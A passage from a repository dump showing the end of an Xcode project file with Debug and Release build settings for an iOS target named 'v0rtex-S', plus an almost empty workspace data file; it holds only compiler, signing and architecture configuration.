294 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
295 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
296 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
297 | CLANG_WARN_STRICT_PROTOTYPES = YES;
298 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
299 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
300 | CLANG_WARN_UNREACHABLE_CODE = YES;
301 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
302 | CODE_SIGN_IDENTITY = "iPhone Developer";
303 | COPY_PHASE_STRIP = NO;
304 | DEBUG_INFORMATION_FORMAT = dwarf;
305 | ENABLE_STRICT_OBJC_MSGSEND = YES;
306 | ENABLE_TESTABILITY = YES;
307 | GCC_C_LANGUAGE_STANDARD = gnu11;
308 | GCC_DYNAMIC_NO_PIC = NO;
309 | GCC_NO_COMMON_BLOCKS = YES;
310 | GCC_OPTIMIZATION_LEVEL = 0;
311 | GCC_PREPROCESSOR_DEFINITIONS = (
312 | "DEBUG=1",
313 | "$(inherited)",
314 | );
315 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
316 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
317 | GCC_WARN_UNDECLARED_SELECTOR = YES;
318 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
319 | GCC_WARN_UNUSED_FUNCTION = YES;
320 | GCC_WARN_UNUSED_VARIABLE = YES;
321 | IPHONEOS_DEPLOYMENT_TARGET = 10.0;
322 | MTL_ENABLE_DEBUG_INFO = YES;
323 | ONLY_ACTIVE_ARCH = YES;
324 | SDKROOT = iphoneos;
325 | USER_HEADER_SEARCH_PATHS = "/Users/sticktron/theos/include/**";
326 | };
327 | name = Debug;
328 | };
329 | EE5252BE1FDA4F2F00993801 /* Release */ = {
330 | isa = XCBuildConfiguration;
331 | buildSettings = {
332 | ALWAYS_SEARCH_USER_PATHS = YES;
333 | CLANG_ANALYZER_NONNULL = YES;
334 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
335 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
336 | CLANG_CXX_LIBRARY = "libc++";
337 | CLANG_ENABLE_MODULES = YES;
338 | CLANG_ENABLE_OBJC_ARC = YES;
339 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
340 | CLANG_WARN_BOOL_CONVERSION = YES;
341 | CLANG_WARN_COMMA = YES;
342 | CLANG_WARN_CONSTANT_CONVERSION = YES;
343 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
344 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
345 | CLANG_WARN_EMPTY_BODY = YES;
346 | CLANG_WARN_ENUM_CONVERSION = YES;
347 | CLANG_WARN_INFINITE_RECURSION = YES;
348 | CLANG_WARN_INT_CONVERSION = YES;
349 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
350 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
351 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
352 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
353 | CLANG_WARN_STRICT_PROTOTYPES = YES;
354 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
355 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
356 | CLANG_WARN_UNREACHABLE_CODE = YES;
357 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
358 | CODE_SIGN_IDENTITY = "iPhone Developer";
359 | COPY_PHASE_STRIP = NO;
360 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
361 | ENABLE_NS_ASSERTIONS = NO;
362 | ENABLE_STRICT_OBJC_MSGSEND = YES;
363 | GCC_C_LANGUAGE_STANDARD = gnu11;
364 | GCC_NO_COMMON_BLOCKS = YES;
365 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
366 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
367 | GCC_WARN_UNDECLARED_SELECTOR = YES;
368 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
369 | GCC_WARN_UNUSED_FUNCTION = YES;
370 | GCC_WARN_UNUSED_VARIABLE = YES;
371 | IPHONEOS_DEPLOYMENT_TARGET = 10.0;
372 | MTL_ENABLE_DEBUG_INFO = NO;
373 | SDKROOT = iphoneos;
374 | USER_HEADER_SEARCH_PATHS = "/Users/sticktron/theos/include/**";
375 | VALIDATE_PRODUCT = YES;
376 | };
377 | name = Release;
378 | };
379 | EE5252C01FDA4F2F00993801 /* Debug */ = {
380 | isa = XCBuildConfiguration;
381 | buildSettings = {
382 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
383 | "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer";
384 | CODE_SIGN_STYLE = Automatic;
385 | DEVELOPMENT_TEAM = 23C653WLNB;
386 | ENABLE_BITCODE = NO;
387 | GCC_NO_COMMON_BLOCKS = NO;
388 | INFOPLIST_FILE = "$(SRCROOT)/v0rtex-S/Info.plist";
389 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks";
390 | LIBRARY_SEARCH_PATHS = (
391 | "$(inherited)",
392 | "$(PROJECT_DIR)/v0rtex-S",
393 | );
394 | ONLY_ACTIVE_ARCH = YES;
395 | PRODUCT_BUNDLE_IDENTIFIER = "com.sticktron.v0rtex-s";
396 | PRODUCT_NAME = "$(TARGET_NAME)";
397 | PROVISIONING_PROFILE_SPECIFIER = "";
398 | TARGETED_DEVICE_FAMILY = "1,2";
399 | VALID_ARCHS = "arm64 armv7s armv7";
400 | };
401 | name = Debug;
402 | };
403 | EE5252C11FDA4F2F00993801 /* Release */ = {
404 | isa = XCBuildConfiguration;
405 | buildSettings = {
406 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
407 | "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer";
408 | CODE_SIGN_STYLE = Automatic;
409 | DEVELOPMENT_TEAM = 23C653WLNB;
410 | ENABLE_BITCODE = NO;
411 | GCC_NO_COMMON_BLOCKS = NO;
412 | INFOPLIST_FILE = "$(SRCROOT)/v0rtex-S/Info.plist";
413 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks";
414 | LIBRARY_SEARCH_PATHS = (
415 | "$(inherited)",
416 | "$(PROJECT_DIR)/v0rtex-S",
417 | );
418 | ONLY_ACTIVE_ARCH = NO;
419 | PRODUCT_BUNDLE_IDENTIFIER = "com.sticktron.v0rtex-s";
420 | PRODUCT_NAME = "$(TARGET_NAME)";
421 | PROVISIONING_PROFILE_SPECIFIER = "";
422 | TARGETED_DEVICE_FAMILY = "1,2";
423 | VALID_ARCHS = "arm64 armv7s armv7";
424 | };
425 | name = Release;
426 | };
427 | /* End XCBuildConfiguration section */
428 |
429 | /* Begin XCConfigurationList section */
430 | EE5252A41FDA4F2F00993801 /* Build configuration list for PBXProject "v0rtex-S" */ = {
431 | isa = XCConfigurationList;
432 | buildConfigurations = (
433 | EE5252BD1FDA4F2F00993801 /* Debug */,
434 | EE5252BE1FDA4F2F00993801 /* Release */,
435 | );
436 | defaultConfigurationIsVisible = 0;
437 | defaultConfigurationName = Release;
438 | };
439 | EE5252BF1FDA4F2F00993801 /* Build configuration list for PBXNativeTarget "v0rtex" */ = {
440 | isa = XCConfigurationList;
441 | buildConfigurations = (
442 | EE5252C01FDA4F2F00993801 /* Debug */,
443 | EE5252C11FDA4F2F00993801 /* Release */,
444 | );
445 | defaultConfigurationIsVisible = 0;
446 | defaultConfigurationName = Release;
447 | };
448 | /* End XCConfigurationList section */
449 | };
450 | rootObject = EE5252A11FDA4F2F00993801 /* Project object */;
451 | }
452 |
--------------------------------------------------------------------------------
/v0rtex-s.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------